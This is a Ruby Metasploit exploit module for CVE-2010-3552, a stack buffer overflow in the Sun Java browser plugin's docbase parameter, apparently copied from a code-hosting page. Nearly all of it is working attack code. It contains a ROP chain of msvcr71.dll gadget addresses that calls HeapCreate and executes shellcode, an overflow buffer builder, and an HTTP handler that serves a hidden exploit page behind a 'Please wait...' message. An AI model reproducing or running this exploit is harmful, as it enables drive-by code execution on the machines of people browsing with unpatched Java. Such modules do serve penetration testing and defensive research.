251 lines
7.8 KiB
Ruby
251 lines
7.8 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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#
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# This module acts as an HTTP server
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#
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Sun Java Runtime New Plugin docbase Buffer Overflow',
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'Description' => %q{
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This module exploits a flaw in the new plugin component of the Sun Java
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Runtime Environment before v6 Update 22. By specifying specific parameters
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to the new plugin, an attacker can cause a stack-based buffer overflow and
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execute arbitrary code.
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When the new plugin is invoked with a "launchjnlp" parameter, it will
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copy the contents of the "docbase" parameter to a stack-buffer using the
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"sprintf" function. A string of 396 bytes is enough to overflow the 256
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byte stack buffer and overwrite some local variables as well as the saved
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return address.
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NOTE: The string being copied is first passed through the "WideCharToMultiByte".
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Due to this, only characters which have a valid localized multibyte
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representation are allowed. Invalid characters will be replaced with
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question marks ('?').
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This vulnerability was originally discovered independently by both Stephen
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Fewer and Berend Jan Wever (SkyLined). Although exhaustive testing hasn't
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been done, all versions since version 6 Update 10 are believed to be affected
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by this vulnerability.
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This vulnerability was patched as part of the October 2010 Oracle Patch
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release.
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},
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'License' => MSF_LICENSE,
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'Author' => 'jduck',
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'References' =>
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[
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[ 'CVE', '2010-3552' ],
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[ 'OSVDB', '68873' ],
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[ 'BID', '44023' ],
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[ 'URL', 'http://blog.harmonysecurity.com/2010/10/oracle-java-ie-browser-plugin-stack.html' ],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-206/' ],
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[ 'URL', 'http://code.google.com/p/skylined/issues/detail?id=23' ],
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[ 'URL', 'http://skypher.com/index.php/2010/10/13/issue-2-oracle-java-object-launchjnlp-docbase/' ],
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[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2010-176258.html' ],
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],
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'Platform' => 'win',
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Payload' =>
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{
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'Space' => 1024,
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# The double quote is due to the html, the rest due to utf8 conversion crap.
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'BadChars' => "\x00\x22" + (0x80..0x9f).to_a.pack('C*'),
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'DisableNops' => true,
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#'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
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'EncoderOptions' =>
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{
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'BufferRegister' => 'EAX',
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}
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},
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'Targets' =>
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[
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# Tested OK on:
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# JRE 6u21 on XPSP3 and Win7-RTM
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# JRE 6u18 on XPSP3 (ugly dialog on IE8)
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# JRE 6u11 on XPSP3 (ugly dialog on IE8)
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[ 'Windows Universal (msvcr71.dll ROP)', { } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 12 2010'
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))
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end
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def on_request_uri(cli, request)
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return if ((p = regenerate_payload(cli)) == nil)
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print_status("Sending exploit HTML")
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# ActiveX params
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clsid = 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA'
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var_obj = rand_text_alpha(8+rand(8))
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# These addresses are from the bundled msvcr71.dll from JRE 6u21
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=begin
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7c340000 7c396000 MSVCR71 (export symbols) C:\Program Files\Java\jre6\bin\MSVCR71.dll
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Loaded symbol image file: C:\Program Files\Java\jre6\bin\MSVCR71.dll
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Image path: C:\Program Files\Java\jre6\bin\MSVCR71.dll
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Image name: MSVCR71.dll
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Timestamp: Fri Feb 21 07:42:20 2003 (3E561EAC)
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CheckSum: 0005F1E9
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ImageSize: 00056000
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File version: 7.10.3052.4
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Product version: 7.10.3052.4
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=end
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base = 0x7c340000
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rva = {
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'scratch' => 0x4b170, # Scratch space..
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'scratch2' => 0x4b170 - 0x10, # Scratch space..
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'import_VA' => 0x3a08c - 0x58, # The import address of HeapCreate (less 0x58, avoid badchars)
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'add_58_eax' => 0xd05e, # add eax, 0x58 / ret
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'pop_eax' => 0x4cc1, # pop eax / ret
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'deref_eax' => 0x130ea, # mov eax, [eax] / ret
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'deref_eax4' => 0xe72b, # mov eax, [eax+4] / ret
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'jmp_eax' => 0x13ac, # push eax / ret
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'jmp_ecx' => 0x6b0e, # jmp ecx
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'pop_edx' => 0x5937, # pop edx / ret
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'adjust_eax' => 0x32ef8, # add eax, 0x80bf / add dh, dh / ret
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'rep_movsd' => 0x363f, # rep movsd / pop edi / pop esi / sub eax, eax / ret
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'esp_to_esi' => 0x32f4f, # push esp / and al, 0x10 / mov [edx], ecx / pop esi / ret
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'switcheroo' => 0x3427, # mov ecx, eax / mov eax, esi / pop esi / ret 0x10
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'st_eax_ecx' => 0x103c8, # mov [ecx], eax / ret
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'xor_ecx' => 0x1aa5f, # xor ecx, ecx / mov [eax+0xc], ecx / ret 4
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'set_ecx_fd' => 0x1690b, # mov cl, 0xfe / dec ecx / ret
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}
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extra_insn = 'nop'
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#extra_insn = 'int 3'
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single_op = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<-EOS).encode_string
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#{extra_insn}
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push ecx
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pop edi
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ret
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EOS
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# This is the ROP stack.
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stack = [
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# Load HeapCreate addr from IAT
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'pop_eax',
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0x41414141, # unused space..
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0x41414141,
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0x41414141,
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0x41414141,
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'import_VA', # becomes eax
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'add_58_eax',
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'deref_eax',
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# call HeapCreate
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'jmp_eax',
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'adjust_eax', # eip after HeapCreate
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0x01040110, # flOptions (gets & with 0x40005)
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0x01010101, # dwInitialSize
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0x01010101, # dwMaximumSize
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# Move esp into esi
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'pop_edx',
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'scratch', # becomes edx
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'esp_to_esi',
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# Store a single-dword stub to our buffer
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'switcheroo',
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single_op.unpack('V').first, # becomes esi/eax
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'deref_eax4',
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0x41414141, # more unused space..
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0x41414141,
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0x41414141,
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0x41414141,
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'st_eax_ecx',
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# Call our dword-stub
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'jmp_ecx',
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# Re-load ESP and save our Heap address to scratch (edx)
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'esp_to_esi',
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# Set ecx to something sane (for memcpy)
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'pop_eax',
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'scratch2',
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'xor_ecx',
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'set_ecx_fd',
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0x41414141, # skipped by ret 0x4
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# Do the memcpy!
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'rep_movsd',
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0x41414141, # becomes edi
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0x41414141, # becomes esi
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# Re-load our Heap pointer
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'pop_eax',
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'scratch',
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'deref_eax',
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# Adjust it to skip the non-payload parts
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'add_58_eax',
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# Execute it !
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'jmp_eax',
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# BOOO!
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0x41414141
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]
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# Replace unused entries with randomness
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stack = stack.map { |el|
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if el.kind_of? String
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base + rva[el]
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elsif el == 0x41414141
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rand_text(4).unpack('V').first
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else
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el
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end
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}.pack('V*')
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# Create the overflow buffer
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docbase = rand_text(392)
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docbase << stack
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docbase << rand_text(584 - docbase.length)
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docbase << payload.encoded
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# Generate the html page that will trigger the vuln.
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html = <<-EOS
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<html>
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<body>Please wait...
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<object id="#{var_obj}" classid="clsid:#{clsid}" width="0" height="0">
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<PARAM name="launchjnlp" value="1">
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<PARAM name="docbase" value="#{docbase}">
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</object>
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<embed type="application/x-java-applet" width="0" height="0" launchjnlp="1" docbase="#{docbase}" />
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</body>
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</html>
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EOS
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# Pow.
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send_response_html(cli, html,
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{
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'Content-Type' => 'text/html',
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'Pragma' => 'no-cache'
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})
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end
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end
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